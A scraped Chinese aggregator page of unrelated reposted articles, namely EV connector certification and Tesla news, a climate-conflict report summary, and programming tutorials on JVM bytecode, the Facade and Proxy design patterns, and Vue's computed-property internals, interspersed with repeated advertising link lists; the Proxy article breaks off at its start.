健和興電動車充電連接器 獲德美等國認證

健和興端子公司繼 2013 年取得電動車充電連接器 (EV Connector) 進軍歐洲的證書後,近來再次取得 TUVus 證書,已為搶攻美洲電動車市場做好暖身。由於美國政府大力推廣電動車上路,可預期電動車產業將會帶動美國、亞洲等地市場增長,相關的電動車、充電站、以及充電用的線纜等商機可期。   在新興電動車產業中,儘早取得認證即是取得進入新市場的門票。健和興端子為全球的連接器與端子的領導廠商,此次通過 TÜV 認證的電動車充電連接器認證,符合美國 UL 2251 標準,不僅通過各項嚴苛的環境試驗及車載輾壓試驗,且具備戶外 Type 3S 防水等級。   健和興端子引用 SAE J1772 電動車 AC 充電連接器標準介面,此連接器介面已經廣泛被歐美日車廠使用,同時也符合美國 AC Level 1 and Level 2 的充電規格。目前電動車充電系統不管是充電樁或充電連接器的標準都在持續更新中,所以任一認證實驗室及製造廠都得緊跟國際組織的規定,才能儘快取得相關資料。

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※自行創業缺乏曝光? 網頁設計幫您第一時間規劃公司的形象門面

※南投搬家公司費用需注意的眉眉角角,別等搬了再說!

※新北清潔公司,居家、辦公、裝潢細清專業服務

※教你寫出一流的銷售文案?

特斯拉代號 D 新車出爐 搭半自動駕駛系統

  美國電動車厰特斯拉(Tesla)執行長馬斯克(Elon Musk)發表代號「D」的新一代豪華電動車 Model S,搭載雙電動馬達,由前一代的後輪驅動,升級為全時四輪傳動(AWD),起步加速到 100 公里只需 4 秒,充飽電可行駛 442.57 公里,採用鋰電池提供馬力,讓充電更快速方便,預計 12 月開始出貨。   馬斯克在美國時間 10 月 9 日發表先前他在推特預告的代號 D 車款,其實就是現有車款 Model S 車款的升級版,D 指的就是雙馬達(Dual Motors)。馬斯克表示,雙馬達 AWD 的設計,可提升行路能力,應付歐美惡劣天候,並提升效率、增強動力及加速性。   此外,新車款同時搭載全新自動駕駛(autopilot)軟體,配備包括長距離雷達、影像辨識鏡頭及 360 度的超音波聲納,雖無法完全自動駕駛,但可以判讀交通號誌與辨別行人,具備路邊停車輔助功能。且若停在自宅門口,車主可以召喚愛車,車內的車用電腦還能連結至車主行事曆,需要出門時汽車就能準備就緒。   (Source:)

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

小師妹學JVM之:java的字節碼byte code簡介

目錄

  • 簡介
  • Byte Code的作用
  • 查看Byte Code字節碼
  • java Byte Code是怎麼工作的
  • 總結

簡介

Byte Code也叫做字節碼,是連接java源代碼和JVM的橋樑,源代碼編譯成為字節碼,而字節碼又被加載進JVM中運行。字節碼怎麼生成,怎麼查看字節碼,隱藏在Byte Code背後的秘密是什麼呢?快跟小師妹一起來看看吧。

Byte Code的作用

小師妹:F師兄,為什麼Java需要字節碼呢?直接編譯成為機器碼不是更快嗎?

小師妹,Java的設計初衷是一次編寫,到處運行。為了兼容各個平台的運行環境,java特別為各種平台設計了JVM。

我們可以把JVM看做是一種抽象,對外提供了統一的接口。這樣我們只需要編寫符合JVM規範的代碼,即可在JVM中運行。

回想下之前我們提到過的java的執行過程:

  1. 編寫java代碼文件比如Example.java
  2. 使用java編譯器javac將源文件編譯成為Example.class文件
  3. JVM加載生成的字節碼文件,將其轉換成為機器可以識別的native machine code執行

小師妹:F師兄,我有一個大膽的想法,JVM的作用是將字節碼解釋或者編譯成為機器碼。然後在相應的運行環境中執行。那麼有沒有可能,不需要JVM,不需要機器碼,而是直接在對應的平台上執行字節碼呢?

愛因斯坦說過沒有想像力的靈魂,就像沒有望遠鏡的天文台。小師妹你這個想法很好,這種實現有個專業的說法叫做:Java processor。

Java processor就是用硬件來實現的JVM。因此字節碼可以直接在Java processor中運行。

其中比較出名的是Jazelle DBX,這是一個主要支持J2ME環境的硬件架構。為了提升java在手機端的執行速度。

但是這樣做其實也是有缺點的,後面我們會講到,java字節碼中的指令非常非常多。所以如果用硬件來實現的話,就會非常非常複雜。

一般來說Java processor不會實現全部的字節碼中的功能,只會提供部分的實現。

查看Byte Code字節碼

小師妹:F師兄,那使用javac編譯過後的class文件跟字節碼有什麼關係呢?

class文件中大部分都是byte code,其他的部分是一些meta data元數據信息。這些組合在一起就是class文件了。

小師妹:F師兄,你說class文件是byte code,為什麼我在IDE中打開的時候,直接显示的是反編譯出來的源文件呢?

小師妹,這是IDE的一個便利功能。因為大多數情況下,沒有人想去看class文件的Byte code的,大家都是想去看看這個class文件的源文件是什麼樣的。

我們舉個最簡單的例子:

這個類中,我們定義了一個很簡單的testByteCode方法,裏面定義了兩個變量,然後返回他們兩個的和。

現在有兩種方法來查看這個類的Byte Code:

第一種方法是用javap命令:

javap -c ByteCodeUsage.class

生成的結果如上所示。

第二種方法就是在IDEA中,選中class文件,然後在view中選中show Bytecode:

我們看下輸出結果:

兩個的結果在显示上面可能有細微的差異,但是並不影響我們後面對其的解析。

java Byte Code是怎麼工作的

小師妹:F師兄,能講解一下這些byte code到底是怎麼工作的嗎?

首先我們要介紹一下JVM的實現是基於棧的結構的。為什麼要基於棧的結構呢?那是因為棧是最適合用來實現function互相調用的。

我們再回顧一下上面的testByteCode的字節碼。裏面有很多iconst,istore的東西,這些東西被稱作Opcode,也就是一些基於棧的操作指令。

上面講了java bytecode的操作指令其實有很多個。下面我們列出這些指令的部分介紹:

實在是太多了,這裏就不把所有的列出來了。

我們看到的指令名字其實是一個助記詞,真實的Opcode是一個佔用兩個字節的数字。

下面我們來詳細解釋一下testByteCode方法:

public int testByteCode();
    Code:
       0: iconst_1
       1: istore_1
       2: iconst_2
       3: istore_2
       4: iload_1
       5: iload_2
       6: iadd
       7: ireturn

第一步,iconst_1將int 1加載到stack中。

第二步,istore_1將入棧的int 1出棧,並存儲到變量1中。

第三步,iconst_2將int 2入棧。

第四步,istore_2將入棧的int 2出棧,並存儲到變量2中。

第五步,iload_1將變量1中的值入棧。

第六步,iload_2將變量2中的值入棧。

第七步,iadd將棧中的兩個變量出棧,並相加。然後將結果入棧。

第八步,ireturn將棧中的結果出棧。

這幾步實際上完美的還原了我們在testByteCode方法中定義的功能。

當然我們只介紹了最賤的byte code命令,通過這些簡單的命令可以組合成為更加複雜的java命令。

總結

本文介紹了java byte code的作用和具體的指令,並分析了一個簡單的例子來做說明。希望大家能夠掌握。

本文的例子https://github.com/ddean2009/learn-java-base-9-to-20

本文作者:flydean程序那些事

本文鏈接:http://www.flydean.com/jvm-byte-code/

本文來源:flydean的博客

歡迎關注我的公眾號:程序那些事,更多精彩等着您!

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

瑞典智庫:氣候變遷加劇衝突 阻礙和平建設

摘錄自2019年10月23日中央社報導

瑞典智庫斯德哥爾摩國際和平研究所(SIPRI)23日公布報告指出,氣候變遷對當前及未來的和平建設構成嚴峻挑戰,並且可能加劇衝突。該研究所氣候變遷計畫高級研究員科蘭普(Florian Krampe)指出,報告顯示安全形勢正隨著氣候變遷改變,這次許多發現也適用於其他衝突。

索馬利亞被形容為「世界氣候變遷脆弱度最高的國家之一」。報告顯示,索國數十年來的衝突,因為一系列嚴重乾旱而加劇,加深國家建設進展的壓力,在多個層面對聯合國駐索馬利亞援助團的工作構成更多挑戰。科蘭普並未斷言氣候變遷本身可能造成衝突,但他認為證據明確顯示「氣候變化增加衝突及暴力的可能性」。

根據聯合國難民事務高級專員公署(UNHCR),由於武裝衝突及重複不斷的乾旱,索馬利亞境內現今約有260萬人流離失所,逾80萬人仍離鄉背井滯留鄰國。

本站聲明:網站內容來源環境資訊中心https://e-info.org.tw/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※教你寫出一流的銷售文案?

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※回頭車貨運收費標準

※別再煩惱如何寫文案,掌握八大原則!

※超省錢租車方案

設計模式系列之外觀模式(Facade Pattern)——提供統一的入口

說明:設計模式系列文章是讀劉偉所著《設計模式的藝術之道(軟件開發人員內功修鍊之道)》一書的閱讀筆記。個人感覺這本書講的不錯,有興趣推薦讀一讀。詳細內容也可以看看此書作者的博客https://blog.csdn.net/LoveLion/article/details/17517213

模式概述

絕大多數B/S系統都有一個首頁或者導航頁面,大部分C/S系統都提供了菜單或者工具欄,在這裏,首頁和導航頁面就充當了B/S系統的外觀角色,而菜單和工具欄充當了C/S系統的外觀角色,通過它們用戶可以快速訪問子系統,增強了軟件的易用性。

在軟件開發中,有時候為了完成一項較為複雜的功能,一個客戶類需要和多個業務類交互,而這些需要交互的業務類經常會作為一個整體出現,由於涉及到的類比較多,導致使用時代碼較為複雜,此時,特別需要一個類似服務員一樣的角色,由它來負責和多個業務類進行交互,而客戶類只需與該類交互。外觀模式通過引入一個外觀角色(Facade)來簡化客戶端與子系統(Subsystem)之間的交互,為複雜的子系統調用提供一個統一的入口,降低子系統與客戶端的耦合度,使得客戶端調用非常方便。

模式定義

外觀模式中,一個子系統的外部與其內部的通信通過一個統一的外觀類進行,外觀類將客戶類與子系統的內部複雜性分隔開,使得客戶類只需要與外觀角色打交道,而不需要與子系統內部的很多對象打交道。

外觀模式(Facade Pattern):為子系統中的一組接口提供一個統一的入口。外觀模式定義了一個高層接口,這個接口使得這一子系統更加容易使用

外觀模式又稱為門面模式,它是一種對象結構型模式。外觀模式是迪米特法則的一種具體實現,通過引入一個新的外觀角色可以降低原有系統的複雜度,同時降低客戶類與子系統的耦合度。

模式結構圖

外觀模式沒有一個一般化的類圖描述,下圖所示的類圖也可以作為描述外觀模式的結構圖:

外觀模式包含如下兩個角色:

  • Facade(外觀角色):在客戶端可以調用它的方法,在外觀角色中可以知道相關的(一個或者多個)子系統的功能和責任;在正常情況下,它將所有從客戶端發來的請求委派到相應的子系統去,傳遞給相應的子系統對象處理。

  • SubSystem(子系統角色):在軟件系統中可以有一個或者多個子系統角色,每一個子系統可以不是一個單獨的類,而是一個類的集合,它實現子系統的功能;每一個子系統都可以被客戶端直接調用,或者被外觀角色調用,它處理由外觀類傳過來的請求;子系統並不知道外觀的存在,對於子系統而言,外觀角色僅僅是另外一個客戶端而已。

模式偽代碼

外觀模式中所指的子系統是一個廣義的概念,它可以是一個類、一個功能模塊、系統的一個組成部分或者一個完整的系統。子系統類通常是一些業務類,實現了一些具體的、獨立的業務功能,其典型代碼如下:

public class SubSystemA {

    public void methodA() {
        //業務實現代碼
    }
}

public class SubSystemB {

    public void methodB() {
        //業務實現代碼
    }
}

public class SubSystemC {

    public void methodC() {
        //業務實現代碼
    }
}

引入外觀類,與子系統業務類之間的交互統一由外觀類來完成

public class Facade {
    private SubSystemA obj1 = new SubSystemA();
    private SubSystemB obj2 = new SubSystemB();
    private SubSystemC obj3 = new SubSystemC();

    public void method() {
        obj1.methodA();
        obj2.methodB();
        obj3.methodC();
    }
}

由於在外觀類中維持了對子系統對象的引用,客戶端可以通過外觀類來間接調用子系統對象的業務方法,而無須與子系統對象直接交互。引入外觀類后,客戶端代碼變得非常簡單,典型代碼如下:

public static void main(String[] args) {
    Facade facade = new Facade();
    facade.method();
}

模式改進

在標準的外觀模式中,如果需要增加、刪除或更換與外觀類交互的子系統類,必須修改外觀類或客戶端的源代碼,這將違背開閉原則,因此可以通過引入抽象外觀類來對系統進行改進,在一定程度上可以解決該問題。在引入抽象外觀類之後,客戶端可以針對抽象外觀類進行編程,對於新的業務需求,不需要修改原有外觀類,而對應增加一個新的具體外觀類,由新的具體外觀類來關聯新的子系統對象。

定義抽象外觀類

public abstract class AbstractFacade {
    public abstract void method();
}

根據具體的場景,實現具體的外觀類

public class Facade1 extends AbstractFacade {

    private SubSystemA obj1 = new SubSystemA();
    private SubSystemB obj2 = new SubSystemB();

    @Override
    public void method() {
        obj1.methodA();
        obj2.methodB();
    }
}

public class Facade2 extends AbstractFacade {

    private SubSystemB obj1 = new SubSystemB();
    private SubSystemC obj2 = new SubSystemC();

    @Override
    public void method() {
        obj1.methodB();
        obj2.methodC();
    }
}

客戶端針對抽象外觀類進行編程,代碼片段如下:

public static void main(String[] args) {
    AbstractFacade facade = new Facade1();
    // facade = new Facade2();
    facade.method();
}

模式應用

個人認為外觀模式某些情況下可以看成是對既有系統的再次封裝,所以各種類庫、工具庫(比如hutool)、框架基本都有外觀模式的影子。外觀模式讓調用方更加簡潔,不用關心內部的實現,與此同時,也讓越來越多的程序猿多了個調包俠的昵稱(當然了這其中也包括筆者●´ω`●行無際)。

所以,你可能在很多開源代碼中看到類似XxxBootstrap、XxxContext、XxxMain等類似的Class,再追進去看一眼,你可能發現裏面關聯了一大堆的複雜的對象,這些對象對於外層調用者來說幾乎是透明的。

例子太多,以致於不知道舉啥例子(實際是偷懶的借口O(∩_∩)O哈哈~)。

模式總結

外觀模式並不給系統增加任何新功能,它僅僅是簡化調用接口。在幾乎所有的軟件中都能夠找到外觀模式的應用。所有涉及到與多個業務對象交互的場景都可以考慮使用外觀模式進行重構。

主要優點

(1) 它對客戶端屏蔽了子系統組件,減少了客戶端所需處理的對象數目,並使得子系統使用起來更加容易。通過引入外觀模式,客戶端代碼將變得很簡單,與之關聯的對象也很少。

(2) 它實現了子系統與客戶端之間的松耦合關係,這使得子系統的變化不會影響到調用它的客戶端,只需要調整外觀類即可。

(3) 一個子系統的修改對其他子系統沒有任何影響,而且子系統內部變化也不會影響到外觀對象。

適用場景

(1) 當要為訪問一系列複雜的子系統提供一個簡單入口時可以使用外觀模式。

(2) 客戶端程序與多個子系統之間存在很大的依賴性。引入外觀類可以將子系統與客戶端解耦,從而提高子系統的獨立性和可移植性。

(3) 在層次化結構中,可以使用外觀模式定義系統中每一層的入口,層與層之間不直接產生聯繫,而通過外觀類建立聯繫,降低層之間的耦合度。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

手摸手帶你理解Vue的Computed原理

前言

computed 在 Vue 中是很常用的屬性配置,它能夠隨着依賴屬性的變化而變化,為我們帶來很大便利。那麼本文就來帶大家全面理解 computed 的內部原理以及工作流程。

在這之前,希望你能夠對響應式原理有一些理解,因為 computed 是基於響應式原理進行工作。如果你對響應式原理還不是很了解,可以閱讀我的上一篇文章:手摸手帶你理解Vue響應式原理

computed 用法

想要理解原理,最基本就是要知道如何使用,這對於後面的理解有一定的幫助。

第一種,函數聲明:

var vm = new Vue({
  el: '#example',
  data: {
    message: 'Hello'
  },
  computed: {
    // 計算屬性的 getter
    reversedMessage: function () {
      // `this` 指向 vm 實例
      return this.message.split('').reverse().join('')
    }
  }
})

第二種,對象聲明:

computed: {
  fullName: {
    // getter
    get: function () {
      return this.firstName + ' ' + this.lastName
    },
    // setter
    set: function (newValue) {
      var names = newValue.split(' ')
      this.firstName = names[0]
      this.lastName = names[names.length - 1]
    }
  }
}

溫馨提示:computed 內使用的 data 屬性,下文統稱為“依賴屬性”

工作流程

先來了解下 computed 的大概流程,看看計算屬性的核心點是什麼。

入口文件:

// 源碼位置:/src/core/instance/index.js
import { initMixin } from './init'
import { stateMixin } from './state'
import { renderMixin } from './render'
import { eventsMixin } from './events'
import { lifecycleMixin } from './lifecycle'
import { warn } from '../util/index'

function Vue (options) {
  this._init(options)
}

initMixin(Vue)
stateMixin(Vue)
eventsMixin(Vue)
lifecycleMixin(Vue)
renderMixin(Vue)

export default Vue

_init:

// 源碼位置:/src/core/instance/init.js
export function initMixin (Vue: Class<Component>) {
  Vue.prototype._init = function (options?: Object) {
    const vm: Component = this
    // a uid
    vm._uid = uid++

    // merge options
    if (options && options._isComponent) {
      // optimize internal component instantiation
      // since dynamic options merging is pretty slow, and none of the
      // internal component options needs special treatment.
      initInternalComponent(vm, options)
    } else {
      // mergeOptions 對 mixin 選項和傳入的 options 選項進行合併
      // 這裏的 $options 可以理解為 new Vue 時傳入的對象
      vm.$options = mergeOptions(
        resolveConstructorOptions(vm.constructor),
        options || {},
        vm
      )
    }

    // expose real self
    vm._self = vm
    initLifecycle(vm)
    initEvents(vm)
    initRender(vm)
    callHook(vm, 'beforeCreate')
    initInjections(vm) // resolve injections before data/props
    // 初始化數據
    initState(vm)
    initProvide(vm) // resolve provide after data/props
    callHook(vm, 'created')

    if (vm.$options.el) {
      vm.$mount(vm.$options.el)
    }
  }
}

initState:

// 源碼位置:/src/core/instance/state.js 
export function initState (vm: Component) {
  vm._watchers = []
  const opts = vm.$options
  if (opts.props) initProps(vm, opts.props)
  if (opts.methods) initMethods(vm, opts.methods)
  if (opts.data) {
    initData(vm)
  } else {
    observe(vm._data = {}, true /* asRootData */)
  }
  // 這裡會初始化 Computed
  if (opts.computed) initComputed(vm, opts.computed)
  if (opts.watch && opts.watch !== nativeWatch) {
    initWatch(vm, opts.watch)
  }
}

initComputed:

// 源碼位置:/src/core/instance/state.js 
function initComputed (vm: Component, computed: Object) {
  // $flow-disable-line
  // 1
  const watchers = vm._computedWatchers = Object.create(null)
  // computed properties are just getters during SSR
  const isSSR = isServerRendering()
    
  for (const key in computed) {
    const userDef = computed[key]
    // 2
    const getter = typeof userDef === 'function' ? userDef : userDef.get

    if (!isSSR) {
      // create internal watcher for the computed property.
      // 3
      watchers[key] = new Watcher(
        vm,
        getter || noop,
        noop,
        { lazy: true }
      )
    }

    // component-defined computed properties are already defined on the
    // component prototype. We only need to define computed properties defined
    // at instantiation here.
    if (!(key in vm)) {
      // 4
      defineComputed(vm, key, userDef)
    }
  }
}
  1. 實例上定義 _computedWatchers 對象,用於存儲“計算屬性Watcher”
  2. 獲取計算屬性的 getter,需要判斷是函數聲明還是對象聲明
  3. 創建“計算屬性Watcher”,getter 作為參數傳入,它會在依賴屬性更新時進行調用,並對計算屬性重新取值。需要注意 Watcher 的 lazy 配置,這是實現緩存的標識
  4. defineComputed 對計算屬性進行數據劫持

defineComputed:

// 源碼位置:/src/core/instance/state.js 
const noop = function() {}
// 1
const sharedPropertyDefinition = {
  enumerable: true,
  configurable: true,
  get: noop,
  set: noop
}

export function defineComputed (
  target: any,
  key: string,
  userDef: Object | Function
) {
  // 判斷是否為服務端渲染
  const shouldCache = !isServerRendering()
  if (typeof userDef === 'function') {
    // 2
    sharedPropertyDefinition.get = shouldCache
      ? createComputedGetter(key)
      : createGetterInvoker(userDef)
    sharedPropertyDefinition.set = noop
  } else {
    // 3
    sharedPropertyDefinition.get = userDef.get
      ? shouldCache && userDef.cache !== false
        ? createComputedGetter(key)
        : createGetterInvoker(userDef.get)
      : noop
    sharedPropertyDefinition.set = userDef.set || noop
  }
  // 4
  Object.defineProperty(target, key, sharedPropertyDefinition)
}
  1. sharedPropertyDefinition 是計算屬性初始的屬性描述對象
  2. 計算屬性使用函數聲明時,設置屬性描述對象的 get 和 set
  3. 計算屬性使用對象聲明時,設置屬性描述對象的 get 和 set
  4. 對計算屬性進行數據劫持,sharedPropertyDefinition 作為第三個給參數傳入

客戶端渲染使用 createComputedGetter 創建 get,服務端渲染使用 createGetterInvoker 創建 get。它們兩者有很大的不同,服務端渲染不會對計算屬性緩存,而是直接求值:

function createGetterInvoker(fn) {
  return function computedGetter () {
    return fn.call(this, this)
  }
}

但我們平常更多的是討論客戶端渲染,下面看看 createComputedGetter 的實現。

createComputedGetter:

// 源碼位置:/src/core/instance/state.js
function createComputedGetter (key) {
  return function computedGetter () {
    // 1
    const watcher = this._computedWatchers && this._computedWatchers[key]
    if (watcher) {
      // 2
      if (watcher.dirty) {
        watcher.evaluate()
      }
      // 3
      if (Dep.target) {
        watcher.depend()
      }
      // 4
      return watcher.value
    }
  }
}

這裏就是計算屬性的實現核心,computedGetter 也就是計算屬性進行數據劫持時觸發的 get。

  1. 在上面的 initComputed 函數中,“計算屬性Watcher”就存儲在實例的_computedWatchers上,這裏取出對應的“計算屬性Watcher”
  2. watcher.dirty 是實現計算屬性緩存的觸發點,watcher.evaluate 對計算屬性重新求值
  3. 依賴屬性收集“渲染Watcher”
  4. 計算屬性求值後會將值存儲在 value 中,get 返回計算屬性的值

計算屬性緩存及更新

緩存

下面我們來將 createComputedGetter 拆分,分析它們單獨的工作流程。這是緩存的觸發點:

if (watcher.dirty) {
  watcher.evaluate()
}

接下來看看 Watcher 相關實現:

export default class Watcher {
  vm: Component;
  expression: string;
  cb: Function;
  id: number;
  deep: boolean;
  user: boolean;
  lazy: boolean;
  sync: boolean;
  dirty: boolean;
  active: boolean;
  deps: Array<Dep>;
  newDeps: Array<Dep>;
  depIds: SimpleSet;
  newDepIds: SimpleSet;
  before: ?Function;
  getter: Function;
  value: any;

  constructor (
    vm: Component,
    expOrFn: string | Function,
    cb: Function,
    options?: ?Object,
    isRenderWatcher?: boolean
  ) {
    this.vm = vm
    // options
    if (options) {
      this.deep = !!options.deep
      this.user = !!options.user
      this.lazy = !!options.lazy
      this.sync = !!options.sync
      this.before = options.before
    } else {
      this.deep = this.user = this.lazy = this.sync = false
    }
    this.cb = cb
    this.id = ++uid // uid for batching
    this.active = true
    // dirty 初始值等同於 lazy
    this.dirty = this.lazy // for lazy watchers
    this.deps = []
    this.newDeps = []
    this.depIds = new Set()
    this.newDepIds = new Set()
    this.value = this.lazy
      ? undefined
      : this.get()
  }
}

還記得創建“計算屬性Watcher”,配置的 lazy 為 true。dirty 的初始值等同於 lazy。所以在初始化頁面渲染,對計算屬性進行取值時,會執行一次 watcher.evaluate。

evaluate() {
  this.value = this.get()
  this.dirty = false
}

求值后將值賦給 this.value,上面 createComputedGetter 內的 watcher.value 就是在這裏更新。接着 dirty 置為 false,如果依賴屬性沒有變化,下一次取值時,是不會執行 watcher.evaluate 的, 而是直接就返回 watcher.value,這樣就實現了緩存機制。

更新

依賴屬性在更新時,會調用 dep.notify:

notify() {
  this.subs.forEach(watcher => watcher.update())
}

然後執行 watcher.update:

update() {
  if (this.lazy) {
    this.dirty = true
  } else if (this.sync) {
    this.run()
  } else {
    queueWatcher(this)
  }
}

由於“計算屬性Watcher”的 lazy 為 true,這裏 dirty 會置為 true。等到頁面渲染對計算屬性取值時,符合觸發點條件,執行 watcher.evaluate 重新求值,計算屬性隨之更新。

依賴屬性收集依賴

收集計算屬性Watcher

初始化時,頁面渲染會將“渲染Watcher”入棧,並掛載到Dep.target

在頁面渲染過程中遇到計算屬性,對其取值,因此執行 watcher.evaluate 的邏輯,接着調用 this.get:

get () {
  // 1
  pushTarget(this)
  let value
  const vm = this.vm
  try {
    // 2
    value = this.getter.call(vm, vm) // 計算屬性求值
  } catch (e) {
    if (this.user) {
      handleError(e, vm, `getter for watcher "${this.expression}"`)
    } else {
      throw e
    }
  } finally {
    popTarget()
    this.cleanupDeps()
  }
  return value
}
Dep.target = null
let stack = []  // 存儲 watcher 的棧

export function pushTarget(watcher) {
  stack.push(watcher)
  Dep.target = watcher
} 

export function popTarget(){
  stack.pop()
  Dep.target = stack[stack.length - 1]
}

pushTarget 輪到“計算屬性Watcher”入棧,並掛載到Dep.target,此時棧中為 [渲染Watcher, 計算屬性Watcher]

this.getter 對計算屬性求值,在獲取依賴屬性時,觸發依賴屬性的 數據劫持get,執行 dep.depend 收集依賴(“計算屬性Watcher”)

收集渲染Watcher

this.getter 求值完成后popTragte,“計算屬性Watcher”出棧,Dep.target 設置為“渲染Watcher”,此時的 Dep.target 是“渲染Watcher”

if (Dep.target) {
  watcher.depend()
}

watcher.depend 收集依賴:

depend() {
  let i = this.deps.length
  while (i--) {
    this.deps[i].depend()
  }
}

deps 內存儲的是依賴屬性的 dep,這一步是依賴屬性收集依賴(“渲染Watcher”)

經過上面兩次收集依賴后,依賴屬性的 subs 存儲兩個 Watcher,[計算屬性Watcher,渲染Watcher]

為什麼依賴屬性要收集渲染Watcher

我在初次閱讀源碼時,很奇怪的是依賴屬性收集到“計算屬性Watcher”不就好了嗎?為什麼依賴屬性還要收集“渲染Watcher”?

第一種場景:模板里同時用到依賴屬性和計算屬性

<template>
  <div>{{msg}} {{msg1}}</div>
</template>

export default {
  data(){
    return {
      msg: 'hello'
    }
  },
  computed:{
    msg1(){
      return this.msg + ' world'      
    }
  }
}

模板有用到依賴屬性,在頁面渲染對依賴屬性取值時,依賴屬性就存儲了“渲染Watcher”,所以 watcher.depend 這步是屬於重複收集的,但 watcher 內部會去重。

這也是我為什麼會產生疑問的點,Vue 作為一個優秀的框架,這麼做肯定有它的道理。於是我想到了另一個場景能合理解釋 watcher.depend 的作用。

第二種場景:模板內只用到計算屬性

<template>
  <div>{{msg1}}</div>
</template>

export default {
  data(){
    return {
      msg: 'hello'
    }
  },
  computed:{
    msg1(){
      return this.msg + ' world'      
    }
  }
}

模板上沒有使用到依賴屬性,頁面渲染時,那麼依賴屬性是不會收集 “渲染Watcher”的。此時依賴屬性里只會有“計算屬性Watcher”,當依賴屬性被修改,只會觸發“計算屬性Watcher”的 update。而計算屬性的 update 里僅僅是將 dirty 設置為 true,並沒有立刻求值,那麼計算屬性也不會被更新。

所以需要收集“渲染Watcher”,在執行完“計算屬性Watcher”后,再執行“渲染Watcher”。頁面渲染對計算屬性取值,執行 watcher.evaluate 才會重新計算求值,頁面計算屬性更新。

總結

計算屬性原理和響應式原理都是大同小異的,同樣的是使用數據劫持以及依賴收集,不同的是計算屬性有做緩存優化,只有在依賴屬性變化時才會重新求值,其它情況都是直接返回緩存值。服務端不對計算屬性緩存。

計算屬性更新的前提需要“渲染Watcher”的配合,因此依賴屬性的 subs 中至少會存儲兩個 Watcher。

本站聲明:網站內容來源於博客園,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

Tesla 預計 2017 年推新車 要讓中國消費者負擔得起

電動車厰特斯拉(Tesla)主管法律事務的全球副總裁 James Chen 說,雖然在中國建廠實現本地化生產已在規劃之中,但目前並沒有時間表,要等中國市場擴大到一定程度,才會邁出那一步。他表示,「盡可能擴大在華銷量,是特斯拉汽車今年在中國的核心任務。」   目前在中國銷售的 Model S 價格在 70 至 100 萬人民幣之間。特斯拉期望通過規模化生產降低成本,預計在 2017 年推出價格在 30 萬至 40 萬人民幣間的 Model 3,讓更多中國消費者能負擔得起。  

本站聲明:網站內容來源於EnergyTrend https://www.energytrend.com.tw/ev/,如有侵權,請聯繫我們,我們將及時處理

【其他文章推薦】

※網頁設計一頭霧水該從何著手呢? 台北網頁設計公司幫您輕鬆架站!

※網頁設計公司推薦不同的風格,搶佔消費者視覺第一線

※Google地圖已可更新顯示潭子電動車充電站設置地點!!

※廣告預算用在刀口上,台北網頁設計公司幫您達到更多曝光效益

※別再煩惱如何寫文案,掌握八大原則!

設計模式系列之代理模式(Proxy Pattern)——對象的間接訪問

說明:設計模式系列文章是讀劉偉所著《設計模式的藝術之道(軟件開發人員內功修鍊之道)》一書的閱讀筆記。個人感覺這本書講的不錯,有興趣推薦讀一讀。詳細內容也可以看看此書作者的博客https://blog.csdn.net/LoveLion/article/details/17517213

模式概述

近年來,代購已逐步成為电子商務的一個重要分支。何謂代購,簡單來說就是找人幫忙購買所需要的商品,當然你可能需要向實施代購的人支付一定的費用。代購通常分為兩種類型:一種是因為在當地買不到某件商品,又或者是因為當地這件商品的價格比其他地區的貴,因此託人在其他地區甚至國外購買該商品,然後通過快遞發貨或者直接攜帶回來;還有一種代購,由於消費者對想要購買的商品相關信息的缺乏,自已無法確定其實際價值而又不想被商家宰,只好委託中介機構幫其講價或為其代買。

在軟件開發中,也有一種設計模式可以提供與代購類似的功能。由於某些原因,客戶端無法直接訪問某個對象或訪問某個對象存在困難時,可以通過一個稱之為“代理”的第三者來實現間接訪問,該方案對應的設計模式被稱為代理模式。

模式定義

代理模式(Proxy Pattern):給某一個對象提供一個代理或佔位符,並由代理對象來控制對原對象的訪問。

代理模式是一種對象結構型模式。在代理模式中引入了一個新的代理對象,代理對象在客戶端對象和目標對象之間起到中介的作用,它去掉客戶不能看到的內容和服務或者增添客戶需要的額外的新服務。

模式結構圖

代理模式的結構比較簡單,其核心是代理類,為了讓客戶端能夠一致性地對待真實對象和代理對象,在代理模式中引入了抽象層,代理模式結構如下圖所示:

代理模式包含如下三個角色:

  • Subject(抽象主題角色):它聲明了真實主題和代理主題的共同接口,這樣一來在任何使用真實主題的地方都可以使用代理主題,客戶端通常需要針對抽象主題角色進行編程。

